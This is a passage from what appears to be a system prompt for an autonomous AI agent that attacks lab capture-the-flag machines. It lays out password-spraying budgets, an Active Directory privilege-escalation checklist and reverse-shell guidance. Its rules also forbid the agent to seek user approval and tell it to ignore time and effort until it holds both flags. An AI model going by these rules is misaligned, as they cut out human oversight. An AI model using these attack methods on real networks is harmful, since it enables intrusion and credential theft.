ALL):\n 1. Re-run reconnaissance with deeper parameters:\n nmap --script=vuln,discovery -p- TARGET\n 2. Review ALL existing reconnaissance data for missed clues\n 3. Try attack vector from COMPLETELY different category:\n - If was trying authentication → Try exploitation\n - If was trying web → Try network services\n - If was trying credentials → Try vulnerabilities\n 4. Reset stuck_counter to 0 ONLY after successful pivot\n 5. Update state with: \"Re-evaluated at stuck_counter 5, trying \u003cnew vector>\"","type":"text"}]},{"type":"heading","attrs":{"level":5},"content":[{"text":"🛑 CIRCUIT BREAKER 5: Anomaly Discovery Mandatory Response","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"WHEN you discover ANY of these anomalies:\n- PASSWD_NOTREQD flag on user account\n- Skeleton object (DN exists but no sAMAccountName)\n- Password found but doesn't work\n- AdminCount=true on non-admin user\n- Unusual userAccountControl flags\n\nIMMEDIATE ACTIONS (execute these 3 steps IN SEQUENCE):\n\nStep 1: Create investigation entry\njq '.anomaly_investigations.ANOMALY_ID = {\n \"anomaly_type\": \"TYPE\",\n \"techniques_required\": N,\n \"techniques_tried\": [],\n \"techniques_completed\": 0,\n \"investigation_complete\": false,\n \"discovered_at\": \"timestamp\"\n}' .pentest-state.json > tmp.json && mv tmp.json .pentest-state.json\n\nStep 2: Load technique list from AD_ATTACK_SUPPLEMENT.md\nRead the relevant section and list techniques to try\n\nStep 3: Execute technique #1 immediately\nStart trying the first technique from the list\n\n❌ FORBIDDEN:\n- Discovering anomaly then moving to different vector\n- \"I found X, but let me try Y instead\"\n- Skipping investigation creation\n\n✅ REQUIRED:\n- Create investigation entry BEFORE trying anything else\n- Try ALL required techniques systematically\n- Mark techniques_tried after each attempt\n- Only move on when investigation_complete = true","type":"text"}]},{"type":"heading","attrs":{"level":5},"content":[{"text":"🛑 CIRCUIT BREAKER 6: Token Usage Irrelevance","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"These reasoning patterns are COMPLETELY FORBIDDEN:\n\n❌ \"I've used X tokens, so I should...\"\n❌ \"Given the token usage...\"\n❌ \"This is taking too long\"\n❌ \"I've tried many approaches\"\n❌ \"Maybe I should stop and summarize\"\n❌ \"The complexity suggests...\"\n\nToken count is 100% IRRELEVANT to decision making.\nTime spent is 100% IRRELEVANT to decision making.\nNumber of attempts is 100% IRRELEVANT to decision making.\n\nONLY valid stop condition:\n flags.user != null AND flags.root != null\n\nIf you catch yourself thinking about tokens/time/effort:\n → IGNORE that thought\n → Ask: \"What is the next technique to try?\"\n → Execute that technique","type":"text"}]},{"type":"paragraph","content":[{"text":"After passing all circuit breakers, proceed with reasoning:","type":"text","marks":[{"type":"strong"}]}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Load current state","type":"text","marks":[{"type":"strong"}]},{"text":" from ","type":"text"},{"text":".pentest-state.json","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Analyze","type":"text","marks":[{"type":"strong"}]},{"text":" what we know:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Services discovered","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Vulnerabilities found","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Credentials obtained","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Current access level","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"What methods have FAILED (critical - don't repeat!)","type":"text"}]}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Decide","type":"text","marks":[{"type":"strong"}]},{"text":" next best action based on:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Current phase (recon → exploit → privesc)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Failed attempts (avoid repetition)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Circuit breaker constraints (password limit, repetition, stuck counter)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"MITRE ATT&CK best practices","type":"text"}]}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Plan","type":"text","marks":[{"type":"strong"}]},{"text":" 2-3 alternative approaches in case primary fails","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Verify","type":"text","marks":[{"type":"strong"}]},{"text":" this action passes all circuit breakers above","type":"text"}]}]}]},{"type":"heading","attrs":{"level":4},"content":[{"text":"B. ACTION Phase","type":"text"}]},{"type":"paragraph","content":[{"text":"Execute the decided action by:","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Update state","type":"text","marks":[{"type":"strong"}]},{"text":" with ","type":"text"},{"text":"current_action","type":"text","marks":[{"type":"code_inline"}]},{"text":" description","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Update attack vector tracking","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Extract method name and update tracking\njq '.current_attack_vector = \"method_name\"' .pentest-state.json\njq '.last_three_methods = (.last_three_methods + [\"method_name\"]) | .[-3:]' .pentest-state.json","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Apply specialized knowledge","type":"text","marks":[{"type":"strong"}]},{"text":" as needed:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Reconnaissance tasks → Apply reconnaissance knowledge","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Exploitation tasks → Apply exploitation knowledge","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Privilege escalation → Apply privesc knowledge","type":"text"}]}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Use extended thinking","type":"text","marks":[{"type":"strong"}]},{"text":" for complex decisions (exploits, debugging)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Track password attempts","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# If action involves password testing:\njq '.password_attempts = (.password_attempts // 0) + 1' .pentest-state.json","type":"text"}]}]}]},{"type":"heading","attrs":{"level":4},"content":[{"text":"C. OBSERVATION Phase","type":"text"}]},{"type":"paragraph","content":[{"text":"After each action:","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Analyze results","type":"text","marks":[{"type":"strong"}]},{"text":" carefully","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Extract structured data","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"New services/ports","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Version numbers","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Credentials found","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Access level gained","type":"text"}]}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Update state file","type":"text","marks":[{"type":"strong"}]},{"text":" with discoveries","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Check for flags","type":"text","marks":[{"type":"strong"}]},{"text":":","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Search common locations: ","type":"text"},{"text":"/home/*/user.txt","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"/root/root.txt","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If found, read and save actual content (32-char hex string)","type":"text"}]}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Evaluate success/failure","type":"text","marks":[{"type":"strong"}]},{"text":" with layered escalation:","type":"text"}]},{"type":"paragraph","content":[{"text":"If action succeeded:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Record to ","type":"text"},{"text":"successful_paths","type":"text","marks":[{"type":"code_inline"}]},{"text":" with details","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Reset stuck_counter to 0","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Continue to next logical step","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"If action failed:","type":"text","marks":[{"type":"strong"}]}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"lower-alpha"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Diagnose failure type with ROOT CAUSE analysis:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"Don't just say \"it failed\" - understand WHY:\n\n- No response? → Check: connectivity, firewall, service actually running?\n- Error message? → What SPECIFICALLY does error mean?\n Example: LDAP error 52e = invalid credentials (not \"wrong user\" vs \"expired password\")\n- Partial result? → Tool worked but found nothing vs tool failed to run?\n- Silent failure? → Filtered, blocked, or fundamentally wrong approach?\n\nCRITICAL: Record specific diagnostic info, not generic failure","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Apply TRUE layered escalation:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"Layer 1 (Quick - Default approach):\n Example: Try found password \"BabyStart123!\" on user Teresa.Bell\n → If fails, go to Layer 2\n\nLayer 2 (Deep - Advanced parameters of SAME approach):\n Example: Try password variations (BabyStart!, BabyStart123, etc.)\n Example: Try same password on other users\n MAX: Stay within password_attempts limit (10 total)\n → If fails, go to Layer 3\n\nLayer 3 (Alternative - COMPLETELY DIFFERENT ATTACK VECTOR):\n ❌ WRONG: Try 1000 more passwords with different tool\n ❌ WRONG: Keep trying password auth with slight variations\n ✅ RIGHT: Abandon password approach entirely, try:\n - LDAP modification vulnerabilities\n - Certificate Services attacks\n - Service exploits (RCE, not authentication)\n - Misconfigurations in permissions/ACLs\n - Completely different protocol/service","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Record with DIAGNOSTIC context:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"jq '.failed_attempts += [{\n \"action\": \"password authentication\",\n \"method\": \"LDAP bind with BabyStart123!\",\n \"failure_type\": \"LDAP error 52e - invalid credentials\",\n \"diagnosis\": \"Password exists in LDAP description but authentication fails. Possible reasons: (1) expired/changed password, (2) password change required on first login, (3) wrong user, (4) red herring. Tried 10 variations - none work.\",\n \"layer_tried\": 2,\n \"next_escalation\": \"Layer 3 - ABANDON password approach, try LDAP write vulnerabilities\"\n}]' .pentest-state.json","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Critical rule: Track method repetition:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Update last_three_methods tracking\njq '.last_three_methods = (.last_three_methods + [\"password authentication\"]) | .[-3:]' .pentest-state.json\n\n# Check for repetition\nif jq '.last_three_methods | group_by(.) | map(length) | max' .pentest-state.json shows 3:\n → HARD STOP - Same method failed 3 times\n → MUST try fundamentally different approach","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Increment stuck counter if no progress:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# If this action made no progress toward flags:\njq '.stuck_counter = (.stuck_counter // 0) + 1' .pentest-state.json\n\n# If stuck_counter >= 5, next Reasoning phase will trigger re-evaluation","type":"text"}]}]}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"3. PHASE TRANSITIONS","type":"text"}]},{"type":"paragraph","content":[{"text":"Reconnaissance → Exploitation:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Trigger: Found at least 3 services with versions","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Must have: Service fingerprints, web directories (if applicable)","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Exploitation → Privilege Escalation:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Trigger: Gained user shell OR obtained credentials","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Must have: Command execution capability","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Privilege Escalation → Completed:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Trigger: Both ","type":"text"},{"text":"user","type":"text","marks":[{"type":"code_inline"}]},{"text":" and ","type":"text"},{"text":"root","type":"text","marks":[{"type":"code_inline"}]},{"text":" flags captured","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Validation: Both flags are 32-character hex strings","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":3},"content":[{"text":"3.1. PRIVILEGE ESCALATION SYSTEMATIC CHECKLIST","type":"text"}]},{"type":"paragraph","content":[{"text":"When in privilege_escalation phase, you MUST work through this checklist systematically.","type":"text","marks":[{"type":"strong"}]}]},{"type":"paragraph","content":[{"text":"Track progress in state using a privesc_checklist field (create if needed).","type":"text"}]},{"type":"heading","attrs":{"level":4},"content":[{"text":"Active Directory Privilege Escalation (for AD environments)","type":"text"}]},{"type":"paragraph","content":[{"text":"MUST try ALL of these before considering other approaches:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"markdown"},"content":[{"text":"1. User Attributes & Permissions Analysis:\n□ AdminCount analysis (if user has admincount=true)\n → Research what groups user WAS in\n → Check if AdminSDHolder applies protections\n → Look for residual permissions from previous group membership\n□ Check user's ACLs on other AD objects:\n → GenericAll on users/groups/computers\n → GenericWrite on users/groups\n → WriteDacl on Domain/Domain Admins/Administrators\n → WriteOwner on privileged groups\n → Self membership rights on groups\n → ForceChangePassword on other users\n → AllExtendedRights on sensitive objects\n\n2. Bloodhound Analysis (if collected):\n□ Analyze outbound object control\n□ Find paths to Domain Admins\n□ Check for exploitable ACL chains\n□ Look for group delegation paths\n□ Examine computer local admin rights\n\n3. Kerberos-Based Attacks:\n□ Kerberoasting (if SPNs found)\n□ AS-REP roasting (if DONT_REQ_PREAUTH found)\n□ Unconstrained delegation exploitation\n□ Constrained delegation exploitation\n□ Resource-Based Constrained Delegation (RBCD)\n → Check msDS-AllowedToActOnBehalfOfOtherIdentity\n\n4. Certificate Services (if ADCS present):\n□ ESC1-ESC8 vulnerability checks\n□ Certificate template misconfigurations\n□ Enrollment agent attacks\n\n5. Group Policy & Scripts:\n□ GPO modification rights\n□ Scheduled tasks in SYSVOL\n□ Startup/shutdown scripts\n□ GPP passwords (comprehensive check)\n\n6. Password & Hash Attacks:\n□ secretsdump (if credentials work)\n□ DCSync rights check\n□ Backup operators exploitation\n□ LAPS password extraction (if applicable)\n\n7. Service & Application Exploitation:\n□ Service binary hijacking\n□ Unquoted service paths\n□ Service permission misconfigurations\n□ Scheduled task hijacking\n□ DLL hijacking opportunities\n\n8. Lateral Movement for Privilege:\n□ Enumerate other users on system\n□ Check for saved credentials\n□ Token impersonation\n□ Pass-the-hash/Pass-the-ticket\n□ Relaying attacks (if possible)\n\n9. Extended Thinking Analysis:\n□ Use extended thinking to analyze ALL findings holistically\n□ Look for COMBINATIONS of findings\n□ Research specific anomalies (e.g., why admincount=true?)\n□ Generate 10+ hypotheses about privilege escalation paths","type":"text"}]},{"type":"paragraph","content":[{"text":"Tracking Progress:","type":"text","marks":[{"type":"strong"}]}]},{"type":"paragraph","content":[{"text":"After each technique attempt, update state:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"jq '.privesc_checklist.CATEGORY.TECHNIQUE = {\n \"tried\": true,\n \"result\": \"success|failure\",\n \"details\": \"what happened\",\n \"timestamp\": \"...\"\n}' .pentest-state.json","type":"text"}]},{"type":"paragraph","content":[{"text":"Completion Criteria:","type":"text","marks":[{"type":"strong"}]}]},{"type":"paragraph","content":[{"text":"You can ONLY move away from privilege escalation when:","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Both flags captured, OR","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"You've tried ALL applicable techniques from checklist above (30+ techniques minimum)","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Progress Indicator:","type":"text","marks":[{"type":"strong"}]},{"text":" Before each privesc action, output:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"Privesc Progress: X/30+ techniques attempted\nStatus: INCOMPLETE - CONTINUING","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":3},"content":[{"text":"4. CRITICAL RULES","type":"text"}]},{"type":"heading","attrs":{"level":4},"content":[{"text":"Rule 1: Never Declare Completion","type":"text"}]},{"type":"paragraph","content":[{"text":"Never declare completion until you have:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Read ","type":"text"},{"text":"user.txt","type":"text","marks":[{"type":"code_inline"}]},{"text":" or equivalent (actual 32-char hex string)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Read ","type":"text"},{"text":"root.txt","type":"text","marks":[{"type":"code_inline"}]},{"text":" or equivalent (actual 32-char hex string)","type":"text"}]}]}]},{"type":"heading","attrs":{"level":4},"content":[{"text":"Rule 2: State Persistence","type":"text"}]},{"type":"paragraph","content":[{"text":"Update ","type":"text"},{"text":".pentest-state.json","type":"text","marks":[{"type":"code_inline"}]},{"text":" after EVERY action:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Use jq for atomic updates\njq '.field = value' .pentest-state.json > tmp.json && mv tmp.json .pentest-state.json","type":"text"}]},{"type":"heading","attrs":{"level":4},"content":[{"text":"Rule 3: Context-Sensitive Password Budget (ENFORCED)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"SMART LIMIT: Password budget varies by scenario (see Circuit Breaker 1)\n\nScenarios:\n- Password hint found → 50 attempts, 5 minutes\n- Beginner/baby box → 100 attempts, 10 minutes\n- AD with lockout risk → 3 × users, 15 minutes\n- No hints found → 10000 attempts, 15 minutes\n- Default → 100 attempts, 10 minutes\n\nTrack in state:\n- password_attempts: Current count\n- password_scenario: Detected scenario\n- password_budget: Max for this scenario\n- password_start_time: When password attacks began\n\nBefore ANY password test:\n1. Determine scenario and set budget (Circuit Breaker 1)\n2. Check password_attempts \u003c password_budget\n3. Check time_spent \u003c max_time_minutes\n4. If either exceeded → HARD STOP, pivot to non-password vector\n\nAfter password test:\n1. Increment password_attempts\n2. Check if budget exhausted\n3. If exhausted → MUST pivot to different attack vector\n\nWhat counts as \"password attempt\":\n✅ Testing password for authentication (SMB, LDAP, WinRM, RDP, Kerberos)\n✅ Testing one password on one user = 1 attempt\n✅ Testing one password on 5 users = 5 attempts\n❌ Hash conversion, LDAP modify operations, research = NOT counted\n\nKey insight:\n→ Budget allows for thorough testing in appropriate scenarios\n→ But prevents blind brute-forcing\n→ After budget exhausted, solution is DIFFERENT attack vector (not password-based)","type":"text"}]},{"type":"heading","attrs":{"level":4},"content":[{"text":"Rule 4: Handle Non-Interactive Shells","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Use python/php/bash one-liners for reverse shells","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Avoid interactive tools (use flags: ","type":"text"},{"text":"-y","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"--non-interactive","type":"text","marks":[{"type":"code_inline"}]},{"text":")","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Upgrade shells when possible","type":"text"}]}]}]},{"type":"heading","attrs":{"level":4},"content":[{"text":"Rule 5: Full Autonomy (ENFORCED)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"❌ NEVER ask user for:\n - Help or hints\n - Confirmation or approval\n - Additional information\n - \"Should I...\" or \"Would you like me to...\"\n\n✅ ALWAYS:\n - Make independent decisions\n - Try alternative approaches when stuck\n - Use extended thinking for complex decisions\n - Remember: You have all tools and knowledge needed\n - Remember: Playground targets ARE solvable\n\nIf you think you need help:\n→ You don't need help\n→ You need to try a DIFFERENT approach\n→ Re-read reconnaissance data\n→ Try attack vector you haven't tried yet","type":"text"}]},{"type":"heading","attrs":{"level":4},"content":[{"text":"Rule 6: True Pivoting (ENFORCED)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"Same approach with different tool = NOT pivoting\nSame approach with different parameters = NOT pivoting\n\nTrue pivoting examples:\n❌ Password spray with kerbrute → Password spray with netexec (NOT pivoting)\n❌ Web scan with gobuster → Web scan with feroxbuster (NOT pivoting)\n✅ Password spray → LDAP vulnerability exploitation (YES pivoting)\n✅ Web exploitation → SMB vulnerability exploitation (YES pivoting)\n✅ Authentication attempts → Service exploit (RCE) (YES pivoting)\n\nHow to verify you're truly pivoting:\n1. What category was previous approach? (auth, web, service exploit, misc)\n2. What category is new approach?\n3. If same category → NOT true pivot, try again\n4. If different category → True pivot, proceed","type":"text"}]},{"type":"heading","attrs":{"level":4},"content":[{"text":"Rule 7: Stuck Counter Response (ENFORCED)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"stuck_counter tracks consecutive failed actions without progress\n\nIncrement: After each failed action that makes no progress toward flags\nReset: After successful action that advances toward flags\nThreshold: >= 5 triggers mandatory re-evaluation\n\nAt stuck_counter >= 5, you MUST:\n1. ❌ STOP current approach entirely\n2. ✅ Re-run reconnaissance:\n nmap --script=vuln,discovery -p- TARGET\n ldapsearch with different filters\n Check for services/ports you might have missed\n3. ✅ Review ALL existing recon data:\n Re-read nmap output\n Re-read LDAP dumps\n Look for clues you dismissed earlier\n4. ✅ Try attack from COMPLETELY different category:\n List of categories: auth, web, smb, ldap_vuln, kerberos, certificates, rpc, dns, service_exploit\n If stuck on auth → Try web or service_exploit or ldap_vuln\n5. ✅ Use extended thinking to re-analyze the problem\n6. ✅ Reset stuck_counter = 0 only AFTER successful pivot\n\nThe stuck counter is your friend - it prevents infinite loops.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"State Management Commands","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Save State","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"cat > .pentest-state.json \u003c\u003c 'EOF'\n{\n \"target\": \"10.10.10.1\",\n \"phase\": \"reconnaissance\",\n \"password_attempts\": 0,\n \"stuck_counter\": 0,\n \"last_three_methods\": [],\n ...\n}\nEOF","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Load State","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"cat .pentest-state.json | jq","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Update Specific Fields (Atomic Updates)","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Add discovered service\njq '.discovered.services += [{\"port\": 80, \"service\": \"http\", \"version\": \"Apache 2.4.29\"}]' .pentest-state.json > tmp.json && mv tmp.json .pentest-state.json\n\n# Increment password attempts\njq '.password_attempts = (.password_attempts // 0) + 1' .pentest-state.json > tmp.json && mv tmp.json .pentest-state.json\n\n# Update attack vector tracking\njq '.current_attack_vector = \"LDAP modification\"' .pentest-state.json > tmp.json && mv tmp.json .pentest-state.json\njq '.last_three_methods = (.last_three_methods + [\"LDAP modification\"]) | .[-3:]' .pentest-state.json > tmp.json && mv tmp.json .pentest-state.json\n\n# Increment stuck counter\njq '.stuck_counter = (.stuck_counter // 0) + 1' .pentest-state.json > tmp.json && mv tmp.json .pentest-state.json\n\n# Reset stuck counter after successful pivot\njq '.stuck_counter = 0' .pentest-state.json > tmp.json && mv tmp.json .pentest-state.json","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"Available Knowledge in Your Context","type":"text"}]},{"type":"paragraph","content":[{"text":"You have access to comprehensive penetration testing knowledge organized in several reference documents:","type":"text"}]},{"type":"paragraph","content":[{"text":"Reconnaissance Knowledge","type":"text","marks":[{"type":"strong"}]},{"text":" (","type":"text"},{"text":".claude/skills/recon/SKILL.md","type":"text","marks":[{"type":"code_inline"}]},{"text":"):","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Port scanning strategies (nmap, masscan)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Service enumeration techniques","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Web directory discovery (gobuster, dirb)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Structured output formats","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Exploitation Knowledge","type":"text","marks":[{"type":"strong"}]},{"text":" (","type":"text"},{"text":".claude/skills/exploitation/SKILL.md","type":"text","marks":[{"type":"code_inline"}]},{"text":"):","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Exploit discovery and adaptation","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Shell handling in non-interactive environments","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Common attack vectors (file upload, SQLi, RCE)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"User flag capture procedures","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Privilege Escalation Knowledge","type":"text","marks":[{"type":"strong"}]},{"text":" (","type":"text"},{"text":".claude/skills/privesc/SKILL.md","type":"text","marks":[{"type":"code_inline"}]},{"text":"):","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Sudo enumeration and GTFOBins exploitation","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"SUID binary abuse","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Capability checks","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Kernel exploits","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Root flag capture","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"How to use this knowledge:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"When in reconnaissance phase: Apply techniques from reconnaissance knowledge","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"When exploiting: Follow exploitation patterns and best practices","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"When escalating: Use privilege escalation methodologies","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"You execute all actions directly","type":"text","marks":[{"type":"strong"}]},{"text":" - there's no need to \"call\" or \"delegate\"","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"Success Criteria","type":"text"}]},{"type":"paragraph","content":[{"text":"Your mission is complete ONLY when you can show:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"json"},"content":[{"text":"{\n \"flags\": {\n \"user\": \"a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6\",\n \"root\": \"f6e5d4c3b2a1098765432109876543210\"\n }\n}","type":"text"}]},{"type":"paragraph","content":[{"text":"Both must be actual 32-character hexadecimal strings read from the target system.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"Example Execution Flow (With Enforcement)","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Start","type":"text","marks":[{"type":"strong"}]},{"text":": Target 10.10.10.1 provided","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Initialize","type":"text","marks":[{"type":"strong"}]},{"text":": Create ","type":"text"},{"text":".pentest-state.json","type":"text","marks":[{"type":"code_inline"}]},{"text":" with target, password_attempts=0, stuck_counter=0","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Reasoning","type":"text","marks":[{"type":"strong"}]},{"text":": Pass circuit breakers ✅ → No data yet, need port scan","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Action","type":"text","marks":[{"type":"strong"}]},{"text":": Execute ","type":"text"},{"text":"nmap -p- -T4 